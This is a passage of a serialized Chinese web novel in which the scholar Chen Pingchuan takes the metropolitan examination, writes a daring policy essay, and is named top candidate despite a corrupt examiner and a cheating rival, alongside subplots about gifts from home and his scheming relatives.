他原以为陈平川是块内秀的璞玉,温润而泽,没想到竟是块棱角锐利到敢当众刺破天穹的奇石! 他一把拉住陈平川的手臂,在众人复杂的目光中,低声道:“走!” 两人快步离去。 回到客栈,慕容修“砰”地一声关上房门,才长长舒了口气,背心已然湿透。他擦着额头的冷汗,心有余悸。 “平川兄,你今日之举,虽是痛快,却也是将自己置于烈火之上!吏部侍郎权势熏天,你这是彻底得罪死了他!” 陈平川却异常平静。 他走到窗边,推开窗户,任凭晚风吹拂着脸颊。 窗外,一轮清冷的明月高悬,静静地俯瞰着这座繁华与罪恶交织的京城。 “我若连想说的话都不敢说,这圣贤书,不读也罢。” 他转过身,看着依旧惊魂未定的慕容修,目光坚定。 “我若为功名利禄而折腰,当初又何必立下那‘为生民立命’之誓?” 慕容修彻底沉默了。 他看着眼前的少年,看着他眼中那不曾动摇的光,心中只剩下翻江倒海般的敬佩与震撼。 …… 诗会之后,陈平川再也没有去参加过类似的活动,慕容修也再也没有劝过,他真怕陈平川又冒出什么惊世骇俗的言论,惹火烧身。 这一日,陈平川正在房内温书。 房门被“砰”地撞开,一个风尘仆仆却精神十足的身影,闯了进来。 那人扯着一个熟悉得不能再熟悉的大嗓门,咋咋呼呼地喊道:“大哥!我可算找到你了!” 陈平川抬头看向来人,眼里露出笑意。 是张金宝。 他竟然千里迢迢地赶来看自己。 张金宝这股鲜活而热烈的气息,吹散了陈平川连日来读书的沉闷。 他站起身,浮现出许久未见的、发自内心的笑容:“金宝!” PC站点如章节文字不全请用手机访问 张金宝一个箭步冲上来,也顾不上满身的尘土,给了他一个结结实实的拥抱,他放开手,打开话匣子,开始绘声绘色地讲述他们看到陈平川那封报平安的信时,大家的反应。 “大哥你失踪那阵子,可把我们急坏了!尤其是伯父伯母……” 陈平川心头一紧,急忙询问家里的情况。 张金宝的表情立刻变得生动起来,手舞足蹈:“伯母天天去庙里烧香,后来急得大病了一场,整个人都瘦了一圈。伯父更是把家底都快掏空了,雇了几十号人,就沿着你进京那条路,一寸土地一寸土地地找!跟疯了似的!” 陈平川的心猛地一沉,仿佛看到,母亲病倒在床榻上的憔悴容颜,父亲散尽家财、沿途奔波时那焦虑而绝望的背影。 那份沉甸甸的爱,无声无息,却重逾千斤,几乎让他喘不过气。 这份愧疚,在他心中发酵,瞬间化为一股动力。 他陈平川,必须金榜题名,必须光耀门楣! 唯有如此,才不负家人的付出与期望。 张金宝一挥手,几个镖师抬着好几个大箱子鱼贯而入,沉重的箱底与地板接触,发出几声闷响。 “都是给你的!”张金宝一脸得意。 PC站点如章节文字不全请用手机访问 第109章 文曲星下凡?狗都不信! 第一个箱子被打开,里面是母亲罗氏亲手缝制的厚棉袍,藏青色的布料,针脚细密得如同尺量过一般,每一针每一线都蕴含着母亲的牵挂。 棉袍旁,是几大包用油纸细心包好的、他最爱吃的庐州特产点心。 点心包下压着一封信,是妹妹陈平玉那娟秀的字迹。 信里没有一句抱怨,只有对他失踪那段时间的担忧与后怕,通篇都是转述父母的话,叮嘱他万事小心,好好考试,不必挂念家中。 陈平川伸出手,指尖轻轻摩挲着那件棉袍,粗糙而温暖的布料仿佛还残留着母亲指尖的温度,让他眼眶一热。 第二个箱子打开,箱子里是厚厚一沓银票,整齐地码放着,旁边还有一些制作精美的拜帖,收帖人的名头都是京城中有头有脸的商铺掌柜。这是张盛财用金钱为他铺垫的人脉关系,现实而有效。 张金宝一脸的得意,拍着箱沿道:“我爹说了,钱管够,你只管安心考试,别的都不用愁!” 第三个箱子要小巧得多,却也最为精致,箱体由名贵的紫檀木打造,一打开,一股幽幽的、安神醒脑的檀香气便散发出来。 “这个,是秦王府送来的。”张金宝的语气里不由自主地带上了一丝敬畏。 箱中之物不多,几样顶级的文房四宝,还有一支晶莹剔透的玉簪。这是昭华郡主的礼物。 它不似家人的温情,也不同于张家的资助,这是一种投资,一种无声的压力,时时刻刻提醒着他那场关于状元与婚事的约定。 张金宝清了清嗓子,待镖师们退下后,他才从自己贴身的怀里,小心翼翼地掏出一个小小的布包,神秘兮兮地递到陈平川面前。 “这个,是我妹妹给你的。” 陈平川接过布包,缓缓打开,是一个崭新的荷包。 与上次那只绣着清雅翠竹的不同,这一次,天青色的缎面上,用最鲜亮的丝线,绣着一株在风雪中傲然挺立的红梅。 那梅花花瓣鲜活,仿佛正迎着寒风舒展,能让人嗅到一股凌冽的香气。 荷包里没有香料,只有一个小小的、被叠得方方正正的纸鹤。 陈平川展开纸鹤,平整的宣纸上,是两个娟秀却又透着一股倔强力道的墨字。 “等你。” 没有问候,没有叮咛,只有这简简单单的两个字。 陈平川顿时愣住了,他感觉自己心中最柔软的地方,似乎被触动了。 收起信物,陈平川状若无意地随口问起那伙劫匪的事情。 张金宝立刻来了精神,两眼放光,兴冲冲地说:“大哥你问黑风寨?我跟你说,那黑风寨的头目凤三娘现在都成传奇人物了!官府派了大军去围剿,结果你猜怎么着?被她用计耍得团团转,损兵折将,最后灰溜溜地撤了!” 他眉飞色舞地描述着凤三娘的计策,什么“敌进我退,深谷诱敌”,什么“夜半袭营,虚张声势”。 这些计策,都是陈平川当初随口告诉凤三娘的,没想到凤三娘不仅用了他的计,还将其发挥到了极致,举一反三,青出于蓝。 陈平川下意识地摸了摸胸口,衣衫之下,那个被一剑刺出的疤痕仿佛又在隐隐作痛。 “将来为我办一件事。” 女人的声音在耳边响起,刻骨铭心。 他的左手,下意识地握紧了袖中的荷包,那娟秀的“等你”二字,代表着家人、挚友的殷切期盼,是他规划中要走的庙堂之路,是人间烟火与功名事业。 而他的右手,却仿佛能感受到那把长剑的冰冷。 PC站点如章节文字不全请用手机访问 那是凤三娘和黑风寨的生死豪情,是他无法割舍的江湖之义,是一份以命相托的沉重承诺。 两种截然不同的世界,两份截然不同的期许,此刻在他心中激烈地交织碰撞,让他一时有些恍惚。 张金宝见他沉默,以为他还在担心科考的波折,一拍胸脯,保证道:“大哥你放心考!我跟王镖头就在京城住下了!谁敢欺负你,我张金宝第一个不答应!” …… 会试前夜,京城褪去了白日的喧嚣,沉入静默。 夜幕下,千万扇窗棂后,烛火如豆,映照着一张张或紧张、或焦虑的脸庞,期盼着明日的考试。 唯独悦来客栈的庭院,是个例外。 震耳欲聋的锣鼓与尖锐的法铃声,粗暴地撕开了京城的宁静。 灯笼将庭院照如白昼,火光冲天。 吏部侍郎之子燕世藩,竟在此刻请来了京城最负盛名的“天一道”法师团,为他举办一场声势浩大的“魁星点斗,独占鳌头”祈福大法会。 法坛之上,燕世藩身穿一袭不伦不类的八卦道袍,袍袖宽大,上面用金线绣着扭曲的符箓。 他手持一柄桃木剑,在数十名口中念念有词的法师簇拥下,状若疯魔。 他脸色因兴奋泛着不正常的潮红,双眼亮得骇人,随着法师的引导,笨拙地踩着罡步,挥舞着木剑。 “文曲星君昨夜已入我梦!”他的声音尖锐,传遍四邻,“钦点燕某为今科状元!此番做法,不过是顺应天意,提前昭告天下罢了!尔等凡夫,还不速速膜拜!” 这番狂言与噪音,刺激周围客栈里每一个考生的耳膜,搅得他们心烦意乱,无法安宁。 “无耻之徒!圣贤书都读进狗肚子里了,竟行此等恬不知耻之事!” “他拜的哪里是文曲星?分明是歪门邪道!” “如此心术,也能金榜题名?天道何在!” 无数考生在心中暗骂,有人愤而将书本砸在桌上,发出沉闷的响声,有人则将笔杆捏得咯吱作响,却终究敢怒不敢言。只能将满腔怒火与不甘强压下去。 陈平川的房间正对庭院,那喧嚣声像波涛骇浪,一下下拍打着薄薄的窗纸。 他却恍若未闻,从箱中取出那支昭华郡主所赠的龙须笔。 他并未蘸墨写字,只是用一块干净的软布,蘸着清水,专注而静谧地擦拭着笔杆。 他的动作不疾不徐,心里重复着了尘和尚那句偈语, “灯在心中,何处不光明。” 外界的浮华与纷扰,似乎再也无法撼动他分毫。 这一刻,他的心境澄澈如镜,空明一片。 慕容修倚在窗边,透过一条细微的缝隙,冷眼看着楼下那个如同跳梁小丑般的燕世藩,嘴角挂着一丝讥讽。 他侧过头,看向平静得有些不像话的陈平川,嘲讽道:“真是可笑至极。他拜的是满天神佛,却不知真正能决定他命运的,不是高悬天际的星君,而是他那个坐在吏部衙门里的爹。” 慕容修的目光在陈平川身上转了一圈,眼神里带着几分玩味。 “不过,平川兄,此刻良辰吉日,我倒是也想为你卜上一卦。” PC站点如章节文字不全请用手机访问 第110章 最终策论,该写的不该写的,我全写了! 慕容修伸出手指,在空中虚虚地对着陈平川点了点,模仿着江湖术士的腔调,眼神却异常认真。 “我看你眉宇之间,文气冲霄,浩然正气自成华盖。但华盖之下,又藏着一丝若有若无的杀伐之气,此乃将相之才。状元之位于你,恐非坦途,必有变数。” 他话锋陡然一转,收起了玩笑的神色,语气笃定如铁。 “但我断言,你此番必能高中,且位列三甲,至少也是个探花郎!” 慕容修的这番话,其实说对了一半。 陈平川确实会高中,但他的目标,从不只是探花。 陈平川放下龙须笔,笔尖在砚台上轻轻一搁,发出一声清越如玉磬的微响。 他抬眼看向慕容修,那双总是深邃平静的眸子里,此刻竟漾起一抹淡淡的笑意:“承慕容兄吉言。不过,功名利禄,皆是浮云。” 他的声音平静而有力,在小小的房间内回响。 “我只求此去,能将胸中所学,心中所想,尽数倾注于纸上,无愧于天地,无愧于万民,无愧于心,便足矣。” …… 次日,天边露出鱼肚白,京城的轮廓被描上一道金边。 贡院那两扇厚重的朱红大门,在万众期盼下,缓缓开启。 燕世藩在一众家奴的前呼后拥下,乘坐着一顶由八个壮汉抬着的华丽大轿,停在门前。 轿帘高高卷起,他意气风发地走出来,仿佛不是来赴考,而是来接受万民朝拜,登基为王。 陈平川则与慕容修一道,布衣简行,汇入了那片由无数青衫学子组成的、黑压压的人潮之中。 他们没有言语,只是随着人流,踏向那座决定无数人命运的龙门。 考场之外,一道格外洪亮的声音穿透了人群。 “大哥!加油!考个状元回来!我请你吃全京城最好吃的烤鸭!” 张金宝正像个猴子一样,手舞足蹈地站在一辆高大的马车顶上,扯着嗓子大喊。 他真诚而热烈的呼喊,引得周围无数考生与送考的家人纷纷侧目。 陈平川在踏入贡院前的最后一刻回首,看到了张金宝那张涨得通红、却无比真挚的脸。 他紧绷的心弦不由得一松,回以一个安心的笑容。 就在贡院大门即将关闭的前一刻,一顶朴素的青布官轿在几名衙役的护卫下,悄然抵达。 轿帘掀开,一位须发皆白、面容清癯,眼神清冷的老者,身着朝服,缓步走了下来。 他正是以刚正不阿、铁面无私闻名朝野的当朝大学士,本次春闱的主考官,张廷玉。 老者锐利的目光缓缓扫过全场,在燕世藩那奢华得近乎挑衅的排场上,几不可查地停顿了一瞬,他那沟壑纵横的眉头,微微一皱。 “哐当——” 沉重的朱红大门缓缓关闭,发出的巨响,万众瞩目的会试,正式开始! …… PC站点如章节文字不全请用手机访问 会试前几场题目都比较简单,几乎难不倒人。 关键在最后一场,策论。 当题目“论流民匪患之根源及安邦定国之策”被书吏用饱蘸浓墨的笔,一笔一划写在考场中央高悬的牌板上时,整个贡院数千个号舍内,齐齐响起一片倒吸凉气的声音。 这题目太过尖锐,就像一把锋芒毕露的尖刀,直指大业朝胸腹之间最深、最痛的伤口。 它避开了所有歌功颂德的可能,逼着每一个考生直面王朝最严峻的现实。 燕世藩看到题目的一刹那,嘴角却抑制不住地向上扬起,眼中满是志在必得。 父亲早已通过门路,让他知晓了策论的大致方向。 而且还请名家代笔,写出一篇惊世雄文,让燕世藩反复背诵,他都要背吐了,现在终于有了用武之地! 他暗笑一声,提起笔,几乎不假思索,一篇洋洋洒洒、辞藻华丽的策论便从笔端行云流水般淌出。 文中大谈君王当施以仁政,官吏需以德教化,则流民自会感恩戴德,匪患亦将自行消弭。 通篇引经据典,对仗工整,华美异常,却空洞得像一尊镶满宝石的空心神像,没有丝毫的血肉与筋骨。 而另一间号舍内,陈平川看到题目,却是心中激荡。 他的眼前,出现了一幕幕画面。 黑风寨里,凤三娘那双藏着血海深仇的决绝眼眸; 望河镇上,被当做祭品的小女孩那无助的啼哭; 州府墙角,那些被打断手脚、被逼乞讨的孩童…… 这些鲜明的记忆,化作了奔腾的血,涌上他的心头。 他手中那支昭华郡主所赠的龙须笔,仿佛承载了千钧之重,那是万千生民的重量。 他深吸一口气,胸中郁结的块垒化作墨池中的万顷波涛。 笔尖触纸,发出的不再是寻常的沙沙声,而是一种金石交击般的铿锵。 他的策论,开篇便如平地惊雷,直言流民与匪患,非天灾,实为人祸! 上策,安抚流民。 他摒弃了施粥赠银这种治标不治本的传统思路,详尽阐述了“以工代赈”之法。 他将消极的、施舍般的救济,彻底转变为积极的、有尊严的建设。 他甚至列出数十条具体的建议,让流民用自己的汗水与劳力,换取果腹的粮食与为人的一丝尊严。 中策,剿抚匪患。 以黑风寨为引,陈平川提出“甄别、改造、收编”六字方略,将“贼”这一笼统的概念彻底剖开。 他主张化贼为兵,以贼制贼,将匪徒中尚存血性良知、被逼无奈落草者筛选而出,加以整训,编入行伍。 这既能瞬间壮大地方军力,又能从内部瓦解匪帮的根基,釜底抽薪。 这也是他当初在黑风寨执行的政策。 PC站点如章节文字不全请用手机访问 中策写下最后一个字,陈平川稍微休息片刻。 真正的雷霆,在下策! 他笔锋陡然一转,字迹变得锋利如刀,直指病灶的真正根源——土地兼并、赋税沉重、吏治腐败! “官逼民反”四个字,赫然落于纸上! 文末,他以黑风寨周边的数个州县为实例,附上了一份简明扼要却数据清晰的图表。 左侧是逐年攀升的税赋,右侧是急剧流失的田亩,而中间,是一条触目惊心、随之暴涨的匪患人数。 这都是陈平川在黑风寨的时候,详细调研后得出的结果。 数据之详实,分析之透彻,逻辑之严密,在文章的结尾处,图穷匕见,寒光毕露! 大业朝的变革,迫在眉睫! 当落下最后一笔时,天光已近黄昏,最后一缕残阳透过狭小的窗格,在陈平川墨迹未干的试卷上投下一道金色的光斑。 他吹干墨迹,将自己穿越至今的所有见闻、思考与抱负,都押在了这张薄薄的纸上。 PC站点如章节文字不全请用手机访问 第111章 你说这是废卷?这是治国安邦的良方! 考卷被一一密封,送入灯火通明的阅卷房。 副主考官王大人,是吏部侍郎燕家的得意门生。 他几乎没费什么力气,就从那浮华张扬、刻意模仿名家风骨的笔迹中,找到了燕世藩的卷子。 他捻着自己保养得宜的胡须,细细品读,脸上露出满意的笑容,连连点头,口中更是赞不绝口。 “好文章!文采斐然,引经据典,深得圣人教化之精髓!此等锦绣文章,深谙为君分忧之道,当为魁首!” 他毫不犹豫地将此卷抽出,拟定为“魁首”候选,放置在一旁。 随后,他端起茶杯润了润喉,随手又拿起一份卷子。 当他看到陈平川那“以工代赈”、“甄别收编”的上策与中策时,尚且觉得此子有些小聪明,想法颇为新奇,捋着胡须的动作也轻快了几分。 可当他看到那直指“官逼民反”的下策,尤其是看到那份详实到令人心惊肉跳的数据时,他脸上的欣赏瞬间变成了惊骇。 冷汗,如同细密的虫子,从他的额角、后颈争先恐后地渗出。 “大胆狂徒!狂悖之言!”他像被蝎子蛰了一样,猛地将卷子狠狠摔在桌上! “此非策论,乃是谤书!竟敢影射朝政,污蔑百官,其心可诛!这是要动摇我大业朝的国本啊!” 他抓起朱笔,手腕因愤怒而微微颤抖,怒不可遏地在卷首龙飞凤舞地批下八个大字。 “言辞偏激,心术不正,不予录取!” 他将这份在他看来足以抄家灭族的“罪证”,愤然丢进了废卷堆里,然后长长舒了口气。 主考官张廷玉正在房内巡查,正好看到王大人的举动,他皱起了眉头,缓步走了过去。 目光扫过王大人依旧气得发白的脸,顺手从那堆积如山的废卷中,捡起了最上面的一份。 正是陈平川的答卷。 他先是看到了王大人那刺眼的八字批语,眼神陡然一凝。然后,他的目光落在了正文上。 只看了一眼,他那张古井无波、如同风干橘皮般的脸上,便泛起了波澜。 越看,他越是心惊。 越看,他浑浊的双眼越是明亮,仿佛拨开了层层云翳,露出了朗朗乾坤! 他从那犀利尖锐、力透纸背的字里行间,看到的不是什么“心术不正”,而是一颗“为天地立心,为生民立命”的滚烫赤子之心! 尤其是那份直观的数据图表,更是让他原本微佝的背,都下意识地挺直了! 他忍不住口中赞道:“绝!绝妙!” 这等洞察时弊、切中要害的经世济民之才,百年难遇! 张廷玉缓缓放下卷子,阅卷房内死一般的寂静,所有人都诧异地看向他。 他一生刚正,最恨的便是党同伐异,埋没人才。 此刻,他的目光如电,直直射向脸色煞白、浑身发抖的王大人。 他缓缓开口,语气威严。“此卷,当为本届第一。” PC站点如章节文字不全请用手机访问 王大人一个哆嗦,缩了缩脖子。 “张……张大人……”他颤抖着争辩,“此子言辞过激,狂悖无状,若是呈上御前,龙颜一怒,我等……我等担待不起啊!” 张廷玉发出一声满是鄙夷的冷笑。“天子求贤,求的是治国安邦的良方,不是粉饰太平的颂歌!” “若因直陈时弊之言而降罪,那这大业朝,亡国不远矣!” 老者挺直了那看似孱弱的脊背,声音陡然拔高,如同洪钟大吕,在整个阅卷房内激荡回响。 “老夫以毕生官声性命作保,此卷,必为魁首!” 在张廷玉这雷霆万钧般的意志下,王大人再不敢多言半句,划掉自己的批语,将陈平川的卷子,与燕世藩那篇华而不实的文章并列,放在了所有考卷的最顶端。 它们将一同被呈送御前,等待着大业朝最高统治者的亲自裁决。 阅卷房内暗流汹涌,一场决定无数人命运的风暴即将掀起。 而此刻,陈平川正与慕容修、张金宝坐在一家小酒馆里。 酒馆内人声鼎沸,暖意融融。 端起粗瓷酒杯,陈平川对还在担忧的二人举了举,杯中酒液映着烛火,轻轻晃动。 “等结果吧,不急。”他淡淡一笑,将杯中酒一饮而尽。 …… 会试放榜日,天刚放亮,贡院外那条宽阔的长街,便已被无声的人潮堵得水泄不通。 张金宝在人群的缝隙里焦躁地来回踱步,盯着张贴大榜的墙壁。 “大哥一定中!大哥肯定能中!”他反复地念叨着,声音紧张,像是在说服自己,又像是在向满天神佛祈祷。 一旁的慕容修,手中那柄从不离身的折扇,正一下一下地机械摇动着,虽然还保持着世家公子的风度。然而,颤抖的手和快速跳动的心,却早已出卖了他内心的紧张与焦虑。 人群的另一端,一片被家仆们强行清出来的空地上,燕世藩坐在一个木架搭成的高椅上,鹤立鸡群。 他神情倨傲,嘴角挂着稳操胜券的微笑,坚信自己那片“精彩绝伦”的策论一定会得到考官的赏识。 目光一瞥,他发现了远处人潮中那个静立的青衫身影,眼神顿时变得轻蔑起来,如同在看一只不知天高地厚的蝼蚁。 一个乡巴佬,也配与他争辉?简直是滑天下之大稽。 “来了!报喜的官爷来了!” 整条长街涌动起来,所有人都不约而同地伸长了脖子,望向街口。 在几名官兵的簇拥下,中年官吏手持一卷明晃晃的杏黄色皇榜走来,脸上带着威严之色。 他清了清嗓子,整个长街顿时安静下来,只剩下无数颗心脏在胸腔里狂跳的声音。 “本科会试取中三百名贡士!” 官吏的声音洪亮而富有穿透力,每一个字都像锤子,重重敲在众人的心上。他开始高声唱名,从末尾开始。 “第二百九十九名,江南府,田丰青……” “第一百二十名,河东府,赵志文……” PC站点如章节文字不全请用手机访问 每念出一个名字,人群中便会爆发出两种截然不同的声响:一种是欣喜若狂的呼喊,另一种,则是希望破灭后,颓然失望的悲泣。 “第五十八名,京兆府,慕容修!” 当自己的名字被念到,慕容修那一直紧绷的身体,像是被抽走了筋骨,猛然一松,长长地吐出一口浊气。 他“唰”地合上折扇,对陈平川拱了拱手,苍白的脸上终于浮现出喜悦。 “侥幸,侥幸。” 陈平川也微笑点头:“恭喜恭喜。” “第三十七名,京兆府,燕世藩!” 燕世藩的名字被念出,他高傲地扬起了下巴,仿佛是理所应当。 随着剩余的名次越来越少,张金宝眼睛也睁得越来越大,他好像还没有听到大哥的名字! PC站点如章节文字不全请用手机访问 第112章 又是第一?连中两元太逆天! “咋回事?咋没大哥的名字?难道大哥……不,不可能的!” 他一张胖脸顿时没了血色,大哥不可能落榜的! 慕容修用扇子轻轻点了点张金宝的肩膀,微笑道:“金宝不必担心,你应该高兴,因为你大哥他……绝对不会落榜的!” 张金宝茫然地看向慕容修,不知道对方为什么会这么说。 眼看就剩最后一个名字,人群中的议论声渐渐大了起来,谁都清楚,越往后,名次越高,含金量也越重。 不知道今年的会元花落谁家? 报喜的官吏喝了口水润喉,再次蓄足了力气。 吼出了那个万众期待的名字。 “会元——” 两个字落下,重逾千钧,全场死寂。时间仿佛静止。 “庐州府,陈平川!” 短暂的寂静,只持续了三息。 随之而来的,是山呼海啸般的议论声,几乎要将贡院的琉璃瓦都掀翻! “陈平川?哪个陈平川?” “还能是哪个!就是那个乡试解元!从庐州府来的那个!” “我的天!解元之后又是会元!这……这是连中三元之兆啊!我朝多少年没出过这等人物了!” 所有人的目光,无论是羡慕、嫉妒、震惊,还是难以置信,都齐刷刷地聚焦在那个从始至终神情平静的青衫少年身上。 张金宝呆愣在原地,嘴巴张得能塞下一个鸡蛋。 足足三秒后,他像是被雷劈中一般,浑身一颤,随即爆发出惊天动地的欢呼。 他一把抱住陈平川,激动得浑身颤抖,话都说不囫囵:“大哥!大哥!会元!你是会元啊!我没听错,肯定没听错!” 另一边,燕世藩脸上那得意的笑容,被“陈平川”三个字彻底击碎,然后化为狰狞与扭曲的恨意。 他死死攥着高椅的扶手,指甲因用力而深陷进木头里,发出‘咯吱’的轻响,似乎要将那扶手连同‘陈平川’这个名字一同捏碎。 花了无数金钱,动用了父亲所有的人脉关系,背下几百遍名家代笔的锦绣文章,结果……连一个他眼中粗鄙不堪的乡巴佬都不如! 这比用刀子一片片割他的肉,还要让他痛苦万分! 慕容修走到陈平川面前,这一次,他没有摇扇子,也没有开玩笑。 他整理了一下衣冠,郑重地躬身,深深一揖。 “平川兄,真乃神人也!兄弟我,心服口服!” 他的眼中,再无半分戏谑与玩味,只剩下一种发自肺腑的敬佩与叹服。 连中两元,已经不是普通人了,而且,他有种预感,陈平川可能会创造历史! 会试放榜,几家欢喜几家愁。 PC站点如章节文字不全请用手机访问 落榜的考生们黯然离去,返回家乡。 喧闹了许久的悦来客栈,终于清净了下来。 陈平川也顺利地从慕容修的房间,换到了后院一处带着独立小院的清幽单间,窗外便是几竿翠竹,清风徐来,竹叶沙沙作响。 他本以为可以好好静下心来,为最后的殿试做准备。 然而,一向喜欢热闹交际的慕容修,却没事就往他这里跑。 “平川兄,一人独居,未免太过冷清,我来与你作伴,探讨学问!” 看着慕容修的笑脸,陈平川却露出苦笑。 他美其名曰“探讨学问”,实则将书本往旁边一丢,便拉着陈平川天南海北地闲聊起来。 从前朝诗词的格律演变,聊到京城哪家胭脂铺新来了西域的螺子黛,谈吐风趣,见闻广博。 张金宝更是把这里当成了自己的第二个家,每日雷打不动地差人送来京城各色顶尖食肆的点心吃食,将屋中的木桌堆得满满当当。 他自己则搬了个小马扎,像小时候听故事一样,乖巧地坐在旁边,听着陈平川与慕容修聊天,时不时插上一句不着边际的话。 “我听爹说,这家‘福满楼’的酱肘子是宫里御厨传下来的方子,肥而不腻!” “迎风醉?我听爹说,这可是京城最好的酒了。” 这个由未来的会元、圆滑的贡士和憨直的富少爷组成的奇妙三人组,竟意外地和谐融洽,每日里欢声笑语不断。 这日,慕容修正说到京城新开了一家酒楼,老板附庸风雅,请了无数文人墨客前去题诗作画,捧场造势,结果依旧门可罗雀,眼看就要关门大吉。 陈平川捏起一个葡萄,送入口中,随口点评了一句:“光有噱头,未触根基。它既想赚文人的钱,酒水菜品取名就要考究,装饰环境更要清幽风雅。文人雅士,求的是一份意境,而非单纯的饱腹之欲。定位不明,自然无人问津。” 一旁的张金宝听得两眼放光,急忙从怀里掏出一个巴掌大的小本子,用炭笔歪歪扭扭地将陈平川的话记了下来,嘴里还念念有词。 “状元郎的生意经,金玉良言,金玉良言啊!” 慕容修看着他那副一本正经的虔诚模样,再也忍不住,哈哈大笑起来,笑得前俯后仰。 他用扇子指着张金宝,对陈平川调侃道:“平川兄,你看,金宝这股钻研的劲头,将来必是商界的一方巨擘。只是不知,他这本‘状元郎生意经’,将来打算卖个什么价钱?” 张金宝闻言,立刻合上本子,宝贝似的揣进怀里,警惕地看着慕容修,一脸严肃地说道:“那可不能卖!这是我大哥的本事,千金不换!” …… 陈平川高中会元的消息,像插了翅膀,很快便传遍了庐州府的每一条大街小巷。 毕竟,这可是庐州府几百年来,第一个高中会元的考生! 而且还是连中两元! 张府的厅堂内,充满了喜庆的气氛。 “哈哈哈!会元!是会元!” 张盛财肥硕的身躯像一尊摇摆的弥勒佛,捧着肚子激动地来回踱步。 比当初张金宝出生的时候,还要激动。 他涨红着脸,满脸的横肉都在兴奋地颤抖。 PC站点如章节文字不全请用手机访问 “老子的眼光,就是他娘的天下第一!我就说!平川那小子,绝对是龙中人凤!” 周围的下人也都纷纷笑着附和。 与前厅的喧嚣截然不同,张静姝的闺房内,一片静谧。 她将自己关在屋里,小小的身子蜷在窗边铺着锦绣软垫的榻上,整个人都被午后温暖的光晕包裹着。 她反复欣赏那幅描绘女儿国国王含情送别唐僧的画卷,娇俏的小脸蛋红得像枝头熟透的苹果,嘴角却无论如何都压抑不住地向上扬起,勾勒出一道甜美的弧线。 这是陈平川寄回来送给她的,她冰雪聪明,哪里不明白画中含义? 那股子无法言喻的甜意,从心尖儿开始,丝丝缕缕地蔓延开来,流淌进四肢百骸,让她感觉自己仿佛整个人都泡在了一罐清甜的蜂蜜里,又暖又软。 PC站点如章节文字不全请用手机访问 第113章 亲人不如恶鬼!陈老太太遭报应! 方先生的简朴住处。 当弟子气喘吁吁地将大红喜报送到他面前时,老学究那双看透世事的浑浊双眼,瞬间被一层温热的雾气濡湿了。 他颤抖着手,轻轻抚过自己那打理得一丝不苟的花白胡须,泪珠沿着脸上的皱纹滑落。 他老泪纵横,口中反复念叨着那句曾让他初闻时便为之震撼的话语。 “为天地立心,为生民立命……此子,终不负我!终不负我啊!” 另一边,秦王府内,气氛同样热烈。 秦王手持捷报,发出一阵沉稳而爽朗的大笑,笑声在雕梁画栋的书房中回荡。 他含笑转身,看向身旁亭亭玉立、气质如兰的女儿,眼中满是毫不掩饰的赞许。 “本王没有看错人。” 他顿了顿,话锋一转,语气里带上了一丝父亲对女儿特有的宠溺与调侃。“不过,女儿,你的眼光,似乎比父王更好。” 昭华郡主闻言,两抹娇艳的红霞瞬间飞上脸颊,她羞赧地垂下那光洁如玉的螓首,长长的睫毛如蝶翼般轻轻颤动。 而在宽大的云袖遮掩下,她的指尖,正无意识地、悄悄地抚过那枚温润光滑的彩绘石头。 石头上,那个手持金箍棒的孙悟空,正腾云驾雾,飞向云端。 消息也传入了桃花村。 当陈仲文从几个村民口中听到这个消息时,整个人呆立在原地,眼神空洞。 他眼神涣散地喃喃自语:“不可能……绝不可能……那个小畜生……那个孽障……他怎么可能……” 浑浑噩噩的返回陈家老宅,二房原来居住的小破屋里,传来一个虚弱的声音,是久病不愈,瘫痪在床的陈老太太。 屋内,一股酸腐的恶臭弥漫在狭小的空间里。 污秽不堪的被褥散发着令人作呕的气味,陈老太太已经好几天没人管了。 她渴得嘴唇干裂起皮,眼窝深陷,虚弱地伸出枯柴般的手臂,想让正在门口泥地里玩耍的小孙子陈平西给自己倒杯水。 “好孙儿……给奶奶点水喝……奶奶要渴死了……” “臭死了,我才不管你!”陈平西满脸嫌恶,仿佛陈老太太是什么肮脏的东西,然后一溜烟跑远了。 几个孙女更是对床上的她视若无睹,只当成一个即将腐烂、碍眼的老物件。 就在这无边的绝望中,忽然听到屋外传来两个儿媳的议论,那“陈平川”、“会元”几个字,穿透门窗,清晰无比地扎进了她的耳中。 陈老太太浑浊的双眼猛地睁大,那死灰般的眼眸深处,骤然闪过一丝复杂至极的光芒。 那光芒里,有震惊,有嫉妒,有悔恨,但更多的,是一种溺水之人抓住救命稻草般的希冀。 老大老三都靠不住,只能靠老二,还有这个有出息的孙子了。 当晚,昏暗的油灯在堂屋里摇曳,将人影拉扯得歪歪扭扭。 大房和三房两家,聚在一起。 刘氏尖着嗓子,率先划破了沉寂:“那老东西现在就是个累赘,整天躺在床上等死,还得人伺候!我看,不如直接把她抬了,丢到老二家的宅子门口让他们伺候去!毕竟,这也是他们的娘!” PC站点如章节文字不全请用手机访问 王氏眼珠一转,摇头道:“先别急。” 她身体微微前倾,声音压低。“老太婆一辈子抠门,手里肯定还藏着私房钱,得先想办法逼她交出来!绝不能便宜了二房!” “然后,”她顿了顿,眼中闪烁着恶毒的光芒,“再把她弄得惨一点,越惨越好!送到庐州府去闹!就坐在他们画册铺子门口哭!说陈平川中了会元,攀了高枝,有名有利,却连亲奶奶都不要了,活活饿死都不管!我看到时候,全庐州府的人怎么戳他们的脊梁骨!看他们那生意还怎么做!看他陈平川的官还怎么当!” 这个恶毒至极的计划,立刻得到了一致赞同。 他们不再迟疑,一群人浩浩荡荡地涌入那间臭气熏天的卧房,将陈老太太的床围得水泄不通。 一张张贪婪而无情的脸,在昏暗的油灯下显得格外狰狞可怖。 他们威逼着,利诱着,一个唱红脸,一个唱白脸,要老太婆交出藏了一辈子的所有积蓄。 陈老太太看着眼前这些人,他们是她的儿子,她的儿媳,她的孙子孙女。此刻,他们那扭曲的嘴脸,比庙里凶神恶煞的泥塑恶鬼,还要可怕千百倍。 她的心,像被浸入了腊月的冰窟窿,一寸寸地凉了下去,最后,彻底冻结。 她虚弱地、缓缓地闭上了双眼,拒绝再看他们一眼,也拒绝再开口说一个字。 …… 殿试日期定下来,所有贡士都开始忙碌,准备参加殿试。 燕世藩请来了京城“天衣坊”的首席裁缝,为他定制衣袍。 金剪裁开云锦,丝线穿梭如飞,在一众跟班的阿谀奉承中,燕世藩提前准备好了大红袍,打算高中状元,簪花游街时穿。 他又重金遍访致仕的老臣,学习面圣的礼仪,从叩拜时额头触地的角度,到起身时袍袖拂动的姿态,都对着铜镜演练了几十遍。 那架势,新科状元已经非他莫属。 而一向淡泊名利的慕容修,也彻底变了个人。 他不再来陈平川的房里闲聊,而是关起门来,研究殿试策论。 